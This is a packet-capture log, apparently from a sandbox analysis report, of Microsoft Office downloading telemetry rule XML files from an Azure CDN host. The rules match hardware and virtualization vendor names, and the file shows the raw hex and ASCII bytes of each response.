2024-11-22 16:10:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.10	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:07 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:07 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161007Z-178bfbc474bpscmfhC1NYCfc2c00000001v0000000006cg2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:07 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.10	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:07 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:08 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:08 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161008Z-174c587ffdfcb7qhhC1TEB3x7000000001t0000000007m1n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:08 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.10	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:08 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:09 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:08 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: d8899c23-b01e-003e-234e-3c8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161008Z-15b8b599d88s6mj9hC1TEBur3000000001d000000000k731 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.10	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:08 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:09 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:08 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161008Z-178bfbc474bh5zbqhC1NYCkdug0000000370000000001scu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:09 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.10	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:09 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:09 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:09 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 8d96ff29-301e-0020-36b1-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161009Z-15b8b599d88cn5thhC1TEBqxkn00000001eg00000000n2g3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:09 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.10	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:09 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:10 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:10 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: edaf41ae-201e-0051-5e49-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161010Z-174c587ffdf59vqchC1TEByk6800000001v000000000945q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:10 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.10	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:10 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:10 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:10 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 5f785e56-701e-0053-0854-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161010Z-178bfbc474bp8mkvhC1NYCzqnn000000032g0000000083gu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:10 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.10	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:10 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:11 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:11 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 23cbbb45-601e-0084-4e3d-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161011Z-15b8b599d88l2dpthC1TEBmzr000000001k000000000h3wy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:11 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.10	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:10 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:11 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161011Z-178bfbc474bpscmfhC1NYCfc2c00000001w00000000022mp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.10	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:11 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:11 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:11 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 5c8e7bca-d01e-0049-4f4b-3ce7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161011Z-15b8b599d88z9sc7hC1TEBkr4w00000001s000000000f1qr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:11 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.10	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:11 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:12 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:12 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 9d7b10d0-e01e-0099-63bc-3bda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161012Z-15b8b599d88wn9hhhC1TEBry0g00000001ug000000000fvr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:12 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.10	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:12 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
